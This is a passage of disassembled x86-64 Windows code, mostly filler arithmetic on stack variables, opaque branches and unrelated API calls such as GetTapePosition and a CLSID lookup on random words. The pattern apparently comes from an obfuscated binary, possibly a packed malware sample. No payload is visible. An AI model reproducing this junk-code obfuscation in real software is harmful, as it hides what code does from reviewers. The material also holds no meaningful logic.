mov dword [rsp + 0x5448], eax
mov rax, qword [rsp + 0x9578]
sar rax, 0x26
mov qword [rsp + 0x9c60], rax
mov eax, dword [rsp + 0x5404]
mov ecx, dword [rsp + 0x53f0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5428], eax
mov rax, qword [rsp + 0x9c70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9cb8]
mov qword [rsp + 0x9cd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9cd0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9600], rax
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16d0]
xor eax, ecx
mov rcx, qword [rsp + 0x9cc8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x231]
mov rcx, qword [rsp + 0x9c58]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x12a], al
mov rax, qword [rsp + 0x9c78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c38]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x236], al
mov rax, qword [rsp + 0x9c58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x234]
sub eax, ecx
mov byte [0x140288008], al
movzx eax, word [rsp + 0x16c4]
movzx ecx, word [rsp + 0x16c8]
sub eax, ecx
mov word [rsp + 0x16cc], ax
movzx eax, word [rsp + 0x16c4]
movzx ecx, word [rsp + 0x16cc]
sub eax, ecx
mov word [rsp + 0x16c8], ax
mov eax, dword [rsp + 0x547c]
sub eax, 0x8d
mov dword [rsp + 0x547c], eax
mov eax, dword [rsp + 0x53f0]
mov ecx, dword [rsp + 0x5428]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9600]
mov rcx, qword [rsp + 0x9c50]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9c70]
mov qword [rcx], rax
movabs rax, 0x7e45c7a050844d
mov rcx, qword [rsp + 0x9c60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9578], rax
mov eax, dword [rsp + 0x53f8]
mov ecx, dword [rsp + 0x5400]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x231]
and eax, ecx
mov byte [rsp + 0x235], al
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
shl eax, 0xd
mov word [rsp + 0x16d0], ax
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x233]
sar eax, cl
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
movsx eax, byte [rsp + 0x231]
mov rcx, qword [rsp + 0x9c58]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x235], al
mov rax, qword [rsp + 0x9cc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16cc]
or eax, ecx
mov word [rsp + 0x16c8], ax
mov rax, qword [rsp + 0x9c90]
mov ecx, dword [rsp + 0x53f0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5428], eax
movabs rax, 0x26c091c1e42ffd40
mov rcx, qword [rsp + 0x9578]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c60], rax
mov rax, qword [rsp + 0x9cb8]
mov rcx, qword [rsp + 0x9c50]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9c70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c68]
mov ecx, dword [rsp + 0x5400]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9cb0]
mov dword [rcx], eax
jmp 0x14005a24f
movzx eax, word [rsp + 0x16cc]
mov dword [rsp + 0x549c], eax
cmp dword [rsp + 0x549c], 0xdbf
je 0x14005a584
jmp 0x14005a5de
movzx eax, byte [rsp + 0x233]
mov rcx, qword [rsp + 0x9c78]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
movzx eax, word [rsp + 0x16c8]
movzx ecx, word [rsp + 0x16cc]
sub eax, ecx
mov word [rsp + 0x16c4], ax
lea rdx, [rsp + 0x2b108]
lea rcx, str.unlawfully_cheerlessness_caster_Beset_Scrape
call qword [sym.imp.ole32.dll_CLSIDFromString]
mov dword [rsp + 0x5444], eax
jmp 0x14005a718
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
sub eax, 0x234
movsx ecx, word [rsp + 0x16d0]
cmp eax, ecx
je 0x14005a718
movabs rax, 0x43d3458b5cfd42cc
mov rcx, qword [rsp + 0x9c60]
add rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x9578]
jg 0x14005a6dd
movsx eax, word [rsp + 0x16d0]
sub eax, 0x4cf0
mov rcx, qword [rsp + 0x9cc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
add eax, 0x74ea
mov word [rsp + 0x16d0], ax
mov rax, qword [rsp + 0x9cc0]
movzx eax, word [rax]
mov dword [rsp + 0x54a0], eax
cmp dword [rsp + 0x54a0], 0xc63
je 0x14005a675
jmp 0x14005a6a4
mov rax, qword [rsp + 0x9c28]
movzx r9d, byte [rax]
movzx r8d, byte [0x140288008]
movzx edx, byte [rsp + 0x231]
mov rax, qword [rsp + 0x9c58]
movzx ecx, byte [rax]
call fcn.140239e10
nop
jmp 0x14005a6db
lea rax, [rsp + 0x9c98]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x16d0]
lea r8, [rsp + 0x544c]
mov edx, 0x7f
mov rcx, qword [rsp + 0x9c20]
call qword [sym.imp.KERNEL32.dll_GetTapePosition]
mov dword [rsp + 0x53f0], eax
jmp 0x14005a718
movabs rax, 0x5b73a28c0c2734d
mov rcx, qword [rsp + 0x9578]
add rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x9c60]
jg 0x14005a718
movzx eax, byte [rsp + 0x236]
movzx ecx, byte [rsp + 0x230]
shl eax, cl
mov byte [rsp + 0x233], al
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
or eax, 0x20b9
movsx ecx, word [rsp + 0x16d0]
cmp eax, ecx
jg 0x14005a750
xor edx, edx
mov rcx, qword [rsp + 0x9c30]
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov dword [rsp + 0x5430], eax
jmp 0x1402398f3
movabs rax, 0x23e58363abcd1cfa
mov rcx, qword [rsp + 0x9578]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c60], rax
movzx eax, byte [rsp + 0x233]
movzx ecx, byte [rsp + 0x236]
add eax, ecx
mov byte [rsp + 0x232], al
mov eax, dword [rsp + 0x5494]
add eax, 0x9f
mov dword [rsp + 0x5494], eax
movzx eax, word [rsp + 0x16c4]
movzx ecx, word [rsp + 0x16c8]
sub eax, ecx
mov rcx, qword [rsp + 0x9cc0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x231]
movsx ecx, byte [rsp + 0x12a]
sub eax, ecx
mov byte [rsp + 0x234], al
movsx eax, byte [rsp + 0x235]
mov rcx, qword [rsp + 0x9c58]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x234], al
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
sub eax, 0x357d
mov word [rsp + 0x16d0], ax
mov eax, dword [rsp + 0x53f0]
mov ecx, dword [rsp + 0x5428]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c50]
mov rcx, qword [rsp + 0x9cb8]
mov qword [rsp + 0x9cd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9cd8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9600], rax
mov eax, dword [rsp + 0x5400]
movzx ecx, al
mov eax, dword [rsp + 0x5448]
sar eax, cl
mov rcx, qword [rsp + 0x9c68]
mov dword [rcx], eax
movabs rax, 0x695bf93e1a9b2e45
mov rcx, qword [rsp + 0x9578]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c60], rax
mov rax, qword [rsp + 0x9c58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9c28]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x234], al
mov rax, qword [rsp + 0x9c78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c38]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140289810], al
mov rax, qword [rsp + 0x9cc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16c8]
add eax, ecx
mov rcx, qword [rsp + 0x9cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16d0]
sub eax, ecx
mov rcx, qword [rsp + 0x9cc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
add eax, 0x2c83
mov word [rsp + 0x16d0], ax
mov rax, qword [rsp + 0x9600]
mov rcx, qword [rsp + 0x9c50]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9c70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x236]
sub eax, ecx
mov rcx, qword [rsp + 0x9c78]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c90]
mov ecx, dword [rsp + 0x5404]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9c90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c68]
mov ecx, dword [rsp + 0x53f8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5400], eax
mov rax, qword [rsp + 0x9c78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x236]
add eax, ecx
mov byte [rsp + 0x230], al
mov rax, qword [rsp + 0x9c28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12a]
shl eax, cl
mov byte [0x140288008], al
mov rax, qword [rsp + 0x9c28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12a]
sar eax, cl
mov rcx, qword [rsp + 0x9c28]
mov byte [rcx], al
movsx eax, word [rsp + 0x16d0]
or eax, 0x63ce
mov rcx, qword [rsp + 0x9cc8]
mov word [rcx], ax
movzx eax, word [rsp + 0x16c4]
movzx ecx, word [rsp + 0x16c8]
xor eax, ecx
mov word [rsp + 0x16cc], ax
mov eax, dword [rsp + 0x53f8]
mov ecx, dword [rsp + 0x5400]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5448], eax
mov rax, qword [rsp + 0x9cb8]
mov rcx, qword [rsp + 0x9c70]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9600], rax
movabs rax, 0x6757cbea3216728
mov rcx, qword [rsp + 0x9c60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9578], rax
mov eax, dword [rsp + 0x53f0]
mov ecx, dword [rsp + 0x5428]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5404], eax
mov rax, qword [rsp + 0x9cc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16c4]
sub eax, ecx
mov rcx, qword [rsp + 0x9cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16d0]
sub eax, ecx
mov rcx, qword [rsp + 0x9cc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9cc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16c8]
and eax, ecx
mov rcx, qword [rsp + 0x9cc0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x236]
mov rcx, qword [rsp + 0x9c78]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x232]
add eax, ecx
mov byte [rsp + 0x233], al
cmp dword [rsp + 0x5494], 0x4890
jne 0x14005a750
mov rax, qword [rsp + 0x9c70]
mov rax, qword [rax]
mov qword [rsp + 0x9ce0], rax
movabs rax, 0x40399705460c68f
cmp qword [rsp + 0x9ce0], rax
je 0x14005ab9e
movabs rax, 0xaf387b9f5666c487
cmp qword [rsp + 0x9ce0], rax
je 0x14005ab80
jmp 0x14005abdb
mov eax, dword [rsp + 0x53f0]
mov ecx, dword [rsp + 0x5404]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c90]
mov dword [rcx], eax
jmp 0x14005abdb
mov rax, qword [rsp + 0x9c70]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x5404]
movzx r8d, byte [rsp + 0x236]
mov rax, qword [rsp + 0x9cb8]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x9c70]
mov rcx, qword [rax]
call fcn.14023bff0
nop
mov rax, qword [rsp + 0x9600]
mov qword [rsp + 0x9ce8], rax
mov rax, qword [rsp + 0x9c90]
mov eax, dword [rax]
mov dword [rsp + 0x54a4], eax
cmp dword [rsp + 0x54a4], 0x11196119
je 0x14005ac0b
jmp 0x14005ac3b
mov rax, qword [rsp + 0x9c70]
mov r9, qword [rax]
movzx r8d, byte [0x140288008]
mov rax, qword [rsp + 0x9c90]
mov edx, dword [rax]
movzx ecx, word [rsp + 0x16c4]
call fcn.14023ada0
nop
jmp 0x1402397ff
mov eax, dword [rsp + 0x545c]
sub eax, 0x35
mov dword [rsp + 0x545c], eax
movzx eax, word [rsp + 0x16c8]
movzx ecx, word [rsp + 0x16cc]
add eax, ecx
mov rcx, qword [rsp + 0x9cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9c28]
movsx eax, byte [rax]
movsx ecx, byte [0x140288008]
sub eax, ecx
mov byte [rsp + 0x234], al
movsx eax, byte [rsp + 0x12a]
movsx ecx, byte [rsp + 0x231]
add eax, ecx
mov byte [rsp + 0x234], al
mov rax, qword [rsp + 0x9ce8]
mov rcx, qword [rsp + 0x9c50]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9600], rax
mov rax, qword [rsp + 0x9c68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5448]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x53f8], eax
movabs rax, 0xeb2792ee7161cfc
mov rcx, qword [rsp + 0x9578]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c60], rax
mov eax, dword [rsp + 0x53f0]
mov ecx, dword [rsp + 0x5404]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c90]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x231]
mov rcx, qword [rsp + 0x9c28]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9c58]
mov byte [rcx], al
movsx eax, word [rsp + 0x16d0]
shl eax, 9
mov rcx, qword [rsp + 0x9cc8]
mov word [rcx], ax
movzx eax, word [rsp + 0x16c8]
movzx ecx, word [rsp + 0x16c4]
add eax, ecx
mov word [rsp + 0x16cc], ax
movzx eax, byte [rsp + 0x230]
mov rcx, qword [rsp + 0x9c78]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x232], al
mov rax, qword [rsp + 0x9cc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16cc]
add eax, ecx
mov word [rsp + 0x16c8], ax
mov eax, dword [rsp + 0x53f0]
mov ecx, dword [rsp + 0x5428]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c50]
mov rcx, qword [rsp + 0x9600]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ce8], rax
cmp dword [rsp + 0x545c], 0x5210
ja 0x14005ac3b
mov rax, qword [rsp + 0x9c28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9c58]
movsx ecx, byte [rcx]
sub eax, ecx
movsx ecx, byte [rsp + 0x235]
movsx edx, byte [0x140288008]
sub ecx, edx
cmp eax, ecx
jle 0x14005ae6c
movsx eax, byte [rsp + 0x234]
mov rcx, qword [rsp + 0x9c28]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [0x140288008], al
lea rdx, [rsp + 0x9cf0]
lea rcx, [rsp + 0x2b118]
call qword [sym.imp.ole32.dll_CoGetPSClsid]
mov dword [rsp + 0x5468], eax
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x230]
sub eax, ecx
mov byte [rsp + 0x236], al
jmp 0x140239725
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
add eax, 0x2154
movsx ecx, word [rsp + 0x16d0]
cmp eax, ecx
jl 0x14005af6a
mov rax, qword [rsp + 0x9cc8]
movzx eax, word [rax]
mov word [rsp + 0x16d4], ax
mov rax, qword [rsp + 0x9c90]
mov eax, dword [rax]
mov dword [rsp + 0x54a8], eax
movsx eax, word [rsp + 0x16d4]
movsx ecx, word [rsp + 0x16d0]
sub eax, ecx
mov rcx, qword [rsp + 0x9cc8]
movsx ecx, word [rcx]
cmp eax, ecx
jle 0x14005aeef
mov eax, dword [rsp + 0x5400]
mov ecx, dword [rsp + 0x5448]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c68]
mov dword [rcx], eax
jmp 0x14005af65
mov rax, qword [rsp + 0x9cb0]
mov ecx, dword [rsp + 0x5448]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9c68]
mov edx, dword [rsp + 0x5400]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jl 0x14005af65
mov rax, qword [rsp + 0x9578]
mov qword [rsp + 0x9cf8], rax
lea rax, [rsp + 0x9c50]
mov qword [rsp + 0x9d00], rax
lea rax, [rsp + 0x16c4]
mov qword [rsp + 0x9d08], rax
mov rax, qword [rsp + 0x9c78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x236]
sub eax, ecx
mov byte [rsp + 0x232], al
jmp 0x14005b006
mov rax, qword [rsp + 0x9c78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x232]
and eax, ecx
movzx ecx, byte [0x140289810]
mov rdx, qword [rsp + 0x9c38]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jge 0x14005b006
mov rax, qword [rsp + 0x9c28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x231]
sub eax, ecx
mov byte [0x140288008], al
lea r9, [rsp + 0x234]
lea r8, [rsp + 0x2b7c0]
lea rdx, [rsp + 0x16d4]
mov rcx, qword [rsp + 0x9c30]
call sub.WINSPOOL.DRV_FindNextPrinterChangeNotification
mov dword [rsp + 0x5420], eax
movzx r9d, byte [rsp + 0x235]
movzx r8d, byte [rsp + 0x12a]
movzx edx, byte [rsp + 0x235]
movzx ecx, byte [rsp + 0x12a]
call fcn.140239e10
nop
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
mov dword [rsp + 0x54ac], eax
cmp dword [rsp + 0x54ac], 0
je 0x14005b038
cmp dword [rsp + 0x54ac], 0x3e48
je 0x14023964b
jmp 0x1402396bf
mov rax, qword [rsp + 0x9d00]
mov rax, qword [rax]
mov qword [rsp + 0x9d10], rax
movabs rax, 0x39b2ce4d30c315c7
cmp qword [rsp + 0x9d10], rax
je 0x14005b064
jmp 0x14005b14e
mov rax, qword [rsp + 0x9c28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x235]
shl eax, cl
mov rcx, qword [rsp + 0x9c58]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x12a]
and ecx, edx
cmp eax, ecx
jne 0x14005b149
movzx eax, byte [rsp + 0x232]
mov byte [rsp + 0x54b0], al
cmp byte [rsp + 0x54b0], 0x25
je 0x14005b0b1
jmp 0x14005b12c
mov rax, qword [rsp + 0x9578]
mov rcx, qword [rsp + 0x9c60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9cf8], rax
mov rax, qword [rsp + 0x9d00]
mov rcx, qword [rsp + 0x9c50]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9d00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9ce8]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x9c90]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x9c38]
movzx r8d, byte [rax]
mov rdx, qword [rsp + 0x9600]
mov rcx, qword [rsp + 0x9ce8]
call fcn.14023bff0
nop
jmp 0x14005b149
movsx eax, word [rsp + 0x16d4]
mov rcx, qword [rsp + 0x9cc8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x16d0], ax
jmp 0x14005b21b
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16d0]
sub eax, ecx
movsx ecx, word [rsp + 0x16d4]
cmp eax, ecx
jge 0x14005b21b
mov r8d, 0x42
lea rdx, [rsp + 0x234]
lea rcx, [rsp + 0x2b128]
call qword [sym.imp.ole32.dll_StringFromGUID2]
mov dword [rsp + 0x53f8], eax
mov rax, qword [rsp + 0x9c28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x235]
sub eax, ecx
mov rcx, qword [rsp + 0x9c58]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x230]
add eax, ecx
mov byte [0x140289810], al
mov r9d, 0x92
lea r8, [rsp + 0x9c50]
mov rdx, qword [rsp + 0x9d18]
mov rcx, qword [rsp + 0x9d20]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x5440], eax
mov rax, qword [rsp + 0x9d08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16c8]
sub eax, ecx
mov rcx, qword [rsp + 0x9cc0]
mov word [rcx], ax
movzx eax, word [rsp + 0x16c4]
movzx ecx, word [rsp + 0x16c8]
sub eax, ecx
mov word [rsp + 0x16cc], ax
mov rax, qword [rsp + 0x9c28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9c58]
movsx ecx, byte [rcx]
xor eax, ecx
movsx ecx, byte [rsp + 0x235]
mov dword [rsp + 0x54b4], ecx
movsx edx, byte [rsp + 0x12a]
movzx ecx, dl
mov edx, dword [rsp + 0x54b4]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x14005b293
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16d0]
or eax, ecx
mov word [rsp + 0x16d4], ax
mov dword [rsp + 0x54b8], 0xa1ff
mov rax, qword [rsp + 0x9cc0]
movzx eax, word [rax]
mov dword [rsp + 0x54bc], eax
cmp dword [rsp + 0x54bc], 0xb3fc
je 0x14005b2bf
jmp 0x14005b30e
movsx eax, word [rsp + 0x16d0]
mov dword [rsp + 0x54c0], eax
cmp dword [rsp + 0x54c0], 0x171f
je 0x14005b2f2
cmp dword [rsp + 0x54c0], 0x65a2
je 0x14005b2ea
jmp 0x14005b30c
call fcn.14023a860
nop
jmp 0x14005b30c
mov edx, 0x78
mov rcx, qword [rsp + 0x9c40]
call qword [sym.imp.KERNEL32.dll_SetThreadIdealProcessor]
mov dword [rsp + 0x5428], eax
jmp 0x14005b33b
mov eax, dword [rsp + 0x54a8]
mov rcx, qword [rsp + 0x9c90]
mov qword [rsp + 0x9d28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9d28]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x5404], eax
mov rax, qword [rsp + 0x9c28]
movzx eax, byte [rax]
mov byte [rsp + 0x54c4], al
cmp byte [rsp + 0x54c4], 0
je 0x14005b35c
jmp 0x14023943b
lea rax, [rsp + 0x12a]
mov qword [rsp + 0x9d30], rax
mov rax, qword [rsp + 0x9cf8]
mov qword [rsp + 0x9d38], rax
mov rax, qword [rsp + 0x9ce8]
mov qword [rsp + 0x9d40], rax
cmp qword [rsp + 0x9d40], 0
je 0x14005b39c
jmp 0x14005b592
mov rax, qword [rsp + 0x9600]
mov rcx, qword [rsp + 0x9ce8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9cb8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c90]
mov eax, dword [rax]
mov dword [rsp + 0x54c8], eax
mov rax, qword [rsp + 0x9cb0]
mov ecx, dword [rsp + 0x53f8]
mov eax, dword [rax]
or eax, ecx
mov ecx, dword [rsp + 0x5448]
mov rdx, qword [rsp + 0x9c68]
mov edx, dword [rdx]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x14005b543
mov rax, qword [rsp + 0x9c90]
mov eax, dword [rax]
mov dword [rsp + 0x54cc], eax
cmp dword [rsp + 0x54cc], 0x531ac8bf
je 0x14005b524
cmp dword [rsp + 0x54cc], 0x5a700000
je 0x14005b432
jmp 0x14005b541
mov rax, qword [rsp + 0x9c68]
mov rcx, qword [rsp + 0x9cb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x53f8], eax
mov eax, dword [rsp + 0x53f0]
mov dword [rsp + 0x54d0], eax
cmp dword [rsp + 0x54d0], 0x23d53d67
je 0x14005b480
cmp dword [rsp + 0x54d0], 0xc908eea7
je 0x14005b505
jmp 0x14005b522
movzx eax, byte [rsp + 0x236]
mov byte [rsp + 0x54d4], al
cmp byte [rsp + 0x54d4], 0x6f
je 0x14005b49b
jmp 0x14005b4e4
mov rax, qword [rsp + 0x9c78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x232]
sub eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
movzx eax, byte [rsp + 0x233]
movzx ecx, byte [rsp + 0x232]
sub eax, ecx
mov byte [0x140289810], al
call qword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
movzx eax, ax
mov dword [rsp + 0x5448], eax
jmp 0x14005b503
mov rax, qword [rsp + 0x9c28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x234]
sub eax, ecx
mov rcx, qword [rsp + 0x9c58]
mov byte [rcx], al
jmp 0x14005b522
movsx eax, word [rsp + 0x16d4]
mov rcx, qword [rsp + 0x9cc8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x16d0], ax
jmp 0x14005b541
lea rdx, [rsp + 0x2b128]
mov rcx, qword [rsp + 0x9d48]
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
mov dword [rsp + 0x54d8], eax
jmp 0x14005b590
movzx eax, byte [rsp + 0x233]
mov rcx, qword [rsp + 0x9c38]
movzx ecx, byte [rcx]
sar eax, cl
movzx ecx, byte [rsp + 0x230]
mov rdx, qword [rsp + 0x9c78]
movzx edx, byte [rdx]
xor ecx, edx
cmp eax, ecx
jge 0x14005b590
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x236]
add eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
jmp 0x14005b5ee
mov rax, qword [rsp + 0x9c60]
mov rcx, qword [rsp + 0x9cf8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9d38], rax
mov rax, qword [rsp + 0x9c78]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
movzx r9d, byte [rsp + 0x232]
mov rax, qword [rsp + 0x9cb0]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x9c78]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x9c68]
mov ecx, dword [rax]
call fcn.14023bc60
nop
mov eax, dword [rsp + 0x53f0]
mov ecx, dword [rsp + 0x54c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5428], eax
mov dword [rsp + 0x54dc], 0x118a4
lea rax, [rsp + 0x9600]
mov qword [rsp + 0x9d50], rax
movzx eax, byte [rsp + 0x233]
mov rcx, qword [rsp + 0x9c78]
movzx ecx, byte [rcx]
sub eax, ecx
movzx ecx, byte [rsp + 0x236]
movzx edx, byte [rsp + 0x232]
add ecx, edx
cmp eax, ecx
jne 0x14005b714
movzx eax, byte [rsp + 0x236]
mov byte [rsp + 0x54e0], al
cmp byte [rsp + 0x54e0], 0
je 0x14005b66f
jmp 0x14005b6f8
lea rax, [rsp + 0x5400]
mov qword [rsp + 0x9d58], rax
movzx eax, byte [rsp + 0x235]
mov byte [rsp + 0x54e4], al
cmp byte [rsp + 0x54e4], 0xf
je 0x14005b69a
jmp 0x14005b6f6
lea rdx, [rsp + 0x9c98]
mov rcx, qword [rsp + 0x9cf0]
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov dword [rsp + 0x53f0], eax
mov rax, qword [rsp + 0x9cc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9d08]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x16cc], ax
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16d4]
or eax, ecx
mov rcx, qword [rsp + 0x9cc8]
mov word [rcx], ax
jmp 0x14005b714
mov rax, qword [rsp + 0x9c28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x234]
shl eax, cl
mov byte [rsp + 0x235], al
mov rax, qword [rsp + 0x9d38]
movzx ecx, al
mov rax, qword [rsp + 0x9c60]
sar rax, cl
mov rcx, qword [rsp + 0x9578]
imul rcx, qword [rsp + 0x9cf8]
cmp rax, rcx
je 0x1402391df
cmp dword [rsp + 0x54b8], 0xaebf
je 0x14005b8dc
movzx eax, byte [rsp + 0x233]
movzx ecx, byte [rsp + 0x232]
add eax, ecx
mov byte [0x140289810], al
movzx eax, word [rsp + 0x16c4]
